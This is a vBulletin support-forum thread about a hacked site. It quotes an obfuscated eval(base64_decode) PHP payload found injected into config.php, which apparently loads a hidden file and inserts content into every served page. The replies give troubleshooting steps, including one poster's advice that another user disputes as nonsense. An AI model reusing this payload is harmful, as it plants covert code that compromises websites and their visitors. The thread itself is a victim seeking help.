Hacked?? :s Please help

[intensecool]

I just discovered the random text in my config file and deleted it the text was like this, sorry what you just viewed was me half way through deleting the non standard text from my config when comparing it to a backup copy i have. does this mean it has been hacked?

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX2 5vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9zd2NydWlzZS9wdWJsaWNfaHRt bC9zdG9yZS9hZG1pbi9pbmNsdWRlcy9sYW5ndWFnZXMvZXNwYW5vbC9pbWFnZXMvYnV0dG9ucy9zdHlsZS5jc3MucG hwJykpe2luY2x1ZGVfb25jZSgnL2hvbWUvc3djcnVpc2UvcHVibGljX2h0bWwvc3RvcmUvYWRtaW4vaW5jbHVkZXMv bGFuZ3VhZ2VzL2VzcGFub2wvaW1hZ2VzL2J1dHRvbnMvc3R5bGUuY3NzLnBocCcpO2lmKGZ1bmN0aW9uX2V4aXN0cy gnZ21sJykmJiFmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykp e2Z1bmN0aW9uIGd6ZGVjb2RlKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgpeyRSNkI2RTk4Q0RFOE IzMzA4N0EzM0U0RDNBNDk3QkQ4NkI9b3JkKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4 LDMsMSkpOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9MTA7JFIwRDU0MjM2REEyMDU5NEVDMTNGQz gxQjIwOTczMzkzMT0wO2lmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImNCl7JFIwRDU0MjM2REEy MDU5NEVDMTNGQzgxQjIwOTczMzkzMT11bnBhY2soJ3YnLHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRj A2NzMyODY4LDEwLDIpKTskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPSRSMEQ1NDIzNkRBMjA1OTRF QzEzRkM4MUIyMDk3MzM5MzFbMV07JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSs9MiskUjBENTQyMz ZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjgp eyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9c3RycG9zKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2OD JGMDY3MzI4NjgsY2hyKDApLCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKzE7fWlmKCRSNkI2RTk4 Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImMTYpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9c3 RycG9zKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsY2hyKDApLCRSNjAxNjlDRDFDNDdCN0E3QTg1 QUI0NEY4ODQ2MzVFNDEpKzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImMil7JFI2MDE2OU NEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSs9Mjt9JFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz1n emluZmxhdGUoc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsJFI2MDE2OUNEMUM0N0I3QT dBODVBQjQ0Rjg4NDYzNUU0MSkpO2lmKCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9PT1GQUxTRSl7 JFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz0kUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyOD Y4O31yZXR1cm4gJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mzt9fWZ1bmN0aW9uIGRnb2JoKCRSREEz RTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0Ype0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRSM0 UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTA9Z3pkZWNvZGUoJFJEQTNFNjE0MTRFNTBBRUU5NjgxMzJGMDNE MjY1RTBDRik7aWYocHJlZ19tYXRjaCgnL1w8Ym9keS9zaScsJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMk U5MCkpe3JldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxib2R5W15cPl0qXD4pL3NpJywnJDEnLmdtbCgpLCRSM0UzM0Uw MTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApO31lbHNle3JldHVybiBnbWwoKS4kUjNFMzNFMDE3Q0Q3NkI5QjdFNk M3MzY0RkI5MUUyRTkwO319b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?>
<?php
/*======================================================================*\
|| #################################################################### ||
|| # vBulletin 3.6.8 Patch Level 2 - Licence Number
|| # ---------------------------------------------------------------- # ||
|| # All PHP code in this file is ©2000-2008 Jelsoft Enterprises Ltd. # ||
|| # This file may not be redistributed in whole or significant part. # ||
|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # ||
|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # ||
|| #################################################################### ||
\*======================================================================*/
/*-------------------------------------------------------*\
| ****** NOTE REGARDING THE VARIABLES IN THIS FILE ****** |
+---------------------------------------------------------+
| If you get any errors while attempting to connect to |
| MySQL, you will need to email your webhost because we |
| cannot tell you the correct values for the variables |
| in this file. |
\*-------------------------------------------------------*/
// ****** DATABASE TYPE ******

Do Exactly as i say,

Upload tools.php into your admincp directory, But you have to upload install folder but do not upload install.php

Run tools.php, enter your license number & Click on rebuild Styles...thtz it,
Hacking removed...

Whenever this happens, request your server admin to check the Server hard-disk, is it causing problem as hackers are easily brute-forcing your server's password & can easily enter into the forums...

Regards & Reply will be awaited

[cellarius]

And how would rebuilding the styles help with a hacked php file? And what would that have to do with the hard disc? That's quite nonsense advice, me thinks.

[intensecool]

And how would rebuilding the styles help with a hacked php file? And what would that have to do with the hard disc? That's quite nonsense advice, me thinks.

Well i have tried & don't talk ****, always respect other....if you have not tried then do not talk...if you do not want to take advice....you can unsubscribe this thread...

[cellarius]

You see - I do not need advice, since I do not have been hacked. I do have, on the other hand, quite some experience in using this software. And if someone gives advice I do not think well suited to solve the problem, I say so. This is not to offend you, but my opinion - and until someone explains to me how rebuilding styles would help with a corrupted php file, I stick to that.

[jas1159]

unfortunately mate it didnt work I did exactl as your instructions say but still my page, www.swcruise.co.uk/forum3.6.8/index.php shows up blank

Thanks for trying though it is appreciated.

Now i have uploaded the ld backup i found of the database, changed style and reuploaded everything in my ftp and the problem still persists :S

[Steve Machol]

I don't see how that can happen with the original vB files, templates and no add-ons.

To troubleshoot this, first reupload all the original vB non-image files (except install.php). Make sure you upload these in ASCII format and overwrite the ones on the server. Also be sure to upload the admincp files to whichever directory you have set in your config.php file. Then run 'Suspect File Versions' in Diagnostics to make sure you have all the original files for your version and that none show 'File does not contain expected contents':

Admin CP -> Maintenance -> Diagnostics -> Suspect File Versions

[Note: In some cases you may also need to remove any of the listed .xml files in the includes/xml directory.]

Next, disable all plugins.

Note: To temporarily disable the plugin system, edit config.php and add this line right under <?php

define('DISABLE_HOOKS', true);

Then if you still have this problem, create a new style and choose no parent style. This will force it to use the default templates. Finally empty your browser cache, close all browser windows then try again. Make sure you change to the new style and view your forums with it.

Do you have the same problem?

[jas1159]

I have no access to the Admin CP. WHen trying to log in it sends me to forum/login.php which shows up as a blank page.

[Steve Machol]

You can still reupload the original files (which is the most likely cause of that proplem) and disable add-ons.

[jas1159]

i have uploaded all new files and using my origional database i still have a problem logging in as admin and a normal member, my login screen always diverts me back to login.php regardless of what user account i use to login.

any ideas? please see here "Invalid Page Specified"

http://www.swcruise.com/forum3.6.8/

[Steve Machol]

I can see from that link that you have not removed your add-ons. Please follow all the instructions in post #21.